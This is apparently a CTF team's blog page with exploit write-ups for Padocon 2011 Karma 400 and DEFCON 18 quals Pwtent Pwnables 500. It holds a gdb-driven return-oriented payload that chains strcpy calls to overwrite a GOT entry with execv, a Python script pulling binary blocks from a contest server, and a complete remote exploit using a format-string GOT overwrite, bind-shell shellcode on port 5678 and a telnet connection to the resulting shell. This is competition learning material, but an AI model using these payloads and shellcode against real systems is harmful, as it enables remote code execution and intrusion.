#4th at hack.lu CTF
September 21, 2011 by admin · Leave a Comment
Thanks FluxFingers for the great #CTF at hack.lu!!!!
DEFCON 19 CTF Quals: writeups collection
- Compilation by Rogunix: http://rogunix.com/ctf/defconquals19.html
- Raw results
Padocon 2011 CTF Karma 400 exploit: the data re-use way
Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:
- It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
- Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
- There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective
In this post I will show how to exploit karma 400 with data re-use method.
$ gdb -q karma400_lolcosmostic gdb$ pattern_create 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag gdb$ r input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x00000000 EBX: 0x41346141 ECX: 0xBFFFF384 EDX: 0x00B84FF4 o d I t S z a p c ESI: 0x00000000 EDI: 0x61413561 EBP: 0x62413961 ESP: 0xBFFFF3DC EIP: 0x08048793 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFFFF3DC]------------------------------------------------------[stack] 0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae 0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 --------------------------------------------------------------------------[code] => 0x8048793: ret 0x8048794: nop 0x8048795: nop 0x8048796: nop -------------------------------------------------------------------------------- 0x08048793 in ?? () gdb$ x/x $esp 0xbffff3dc: 0x31624130 gdb$ pattern_offset 200 0x31624130 Searching for 0Ab1 in buf size 200 32
We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).
Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls
gdb$ x/32wx 0x08049a50 0x8049a50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a60 <stdin>: 0x00b85440 0x00000000 0x00000000 0x00000000 0x8049a70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a80 <stdout>: 0x00b854e0 0x00000000 0x00000000 0x00000000 0x8049a90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049aa0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ab0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ac0: 0x00000000 0x00000000 0x00000000 0x00000000 TARGET = 0x8049a90 NULLARGV = TARGET - 4 gdb$ info func strcpy@plt All functions matching regular expression "strcpy@plt": Non-debugging symbols: 0x080484f0 strcpy@plt STRCPY = 0x080484f0 gdb$ x/4i 0x80485e3 0x80485e3: pop ebx 0x80485e4: pop ebp 0x80485e5: ret 0x80485e6: lea esi,[esi+0x0] gdb$ POP2RET = 0x80485e3 gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00" Searching for '/tmp/v\x00' '/': 0x8048134 't': 0x80480f6 'm': 0x80482dc 'p': 0x8048313 '/': 0x8048134 'v\x00': 0x80485e7 DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]
The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0], STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]
Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.
gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>
EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":
Non-debugging symbols:
0x08048540 puts@plt
gdb$ x/i 0x08048540
0x8048540 <puts@plt>: jmp DWORD PTR ds:0x8049a48
PLTADDR = 0x08048540
GOTADDR = 0x8049a48
gdb$ findsubstr 0x08048000 0x08049000 0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0
gdb$ findsubstr 0x08048000 0x08049000 0x00
Searching for '\x00'
'\x00': 0x8048007
DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]
The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]
Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]
We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".
gdb$ findsubstr 0x08048000 0x0804a000 "/" Searching for '/' '/': 0x8048134 gdb$ x/s 0x8048134 0x8048134: "/lib/ld-linux.so.2" gdb$ x/s 0x8048138 0x8048138: "/ld-linux.so.2" DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
Wrap things up and test:
gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
... PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
... PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
... fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D
gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id
Program received signal SIGPIPE, Broken pipe.
Pwned!
Notes:
- This way can also be applied to exploit karma 500
- Disekt's return to do_system() trick is really neat for local exploit
DEFCON 18 Quals: Pwtent Pwnables 500 write up
May 28, 2010 by RD · Leave a Comment
This is a short write up since I’m a bit lazy. We didn’t solved it during the quals as it was too late (we exhausted and most of member including myself went to sleep so I only started looking into this in the morning of Monday. Didn’t have enough of time to finish it).
For pp500, ddtek gave us a pcap network dump of a remote exploit to a daemon on host 192.41.96.63, port 6913 and password to login is ‘antagonist’. Playing around with the daemon, I found out that ‘b’ command returns you back a block of 512 bytes from the binary.
Password: antagonist
? to see the menu
> ?
x - quit
d - donate entropy
r - report
b - /dev/hrnd
? - help
> b
Seed: 0
ELF 4�$4 (444�������&& l � ��/libexec/ld-elf.so.FreeBSDk5%20 .1!
"
/)(-*>
Seed value from 0 to 19 returned the same data, 20 returned different data, 21-39 same as 20, … So I wrote a script to extract out all the blocks from the binary with seed values 0, 20, 40, 60, 80, ….. After filtered out all the duplicated blocks, there were totally 21 unique blocks.
#!/usr/bin/env python
import sys
import socket
class humpty:
def __init__(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
ret = self.s.recv(1024)
print ret
def login(self, passwd):
self.s.send(passwd + "\n")
ret = self.s.recv(1024)
print ret
def getdata(self, seed):
print seed
cmd = "b\n"
self.s.send(cmd)
ret = self.s.recv(1024)
print ret
ret = self.s.recv(1024)
print ret
self.s.send("%d\n" % seed)
ret = ret + self.s.recv(1024)
ret = ret
#print len(ret), repr(ret)
return ret[6:518]
def close(self):
self.s.close()
def log(file, data):
f = open(file, "w")
f.write(data)
f.close()
host = '192.41.96.63'
port = 6913
c = humpty(host, port)
a = raw_input("Enter to continue");
c.login("antagonist")
data = []
for i in range(0, 100):
data.append(c.getdata(20*i));
data = list(set(data))
print "Total %d unique blocks" % len(data)
for i in range(0, len(data)):
log("%d"%i, data[i])
print "Done"
c.close()
From the pcap dump session, we can find out that the size of humpty binary is 10392, which is 21 blocks of 512 bytes
-rwxr-x--- 1 root humpty 10392 May 22 19:06 humpty -rw-r----- 1 root humpty 21 May 22 19:01 key
The task now is to merge all the blocks in a the right order to rebuild the ELF binary. What I did was to get a sample freebsd binary which has similar size as humpty, then used `split -b512` to split it to 21 chunks of 512 bytes and then compared side by side with the 21 extracted blocks from ddtek’s pp500 server, merged it manually and used readelf to verify the merged binary. Here (or here) is the binary for pp500’s humpty.
After getting the binary, the rest of the tasks are easy since ddtek gave us out the exploit from the pcap dump. The exploit is similar to the exploit of esd2. FYI, esd2 is the original binary for pp500 which was leaked out via pp200 shell. After ddtek guys realized of this problem, they modified the esd2, changed password, strings, commands, read elf block functions, xor input, .. and named it humpty.
DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit
May 28, 2010 by longld · Leave a Comment
CLGT did not solved this during the quals! Here is the exploit for the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:
#!/usr/bin/env python
import socket
import struct
import telnetlib
import time
HOST = '192.168.56.101'
PORT = 8302
def xor_input(data):
static = "%5d | %5d\n" + "\x00"*4
out = ""
for i in range(len(data)):
out += chr(ord(static[i]) ^ ord(data[i]))
return out
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# send password
s.send("sp3wn0w" + "\n")
# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)
# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"
payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"
print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")
print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()
t.close()
s.close()


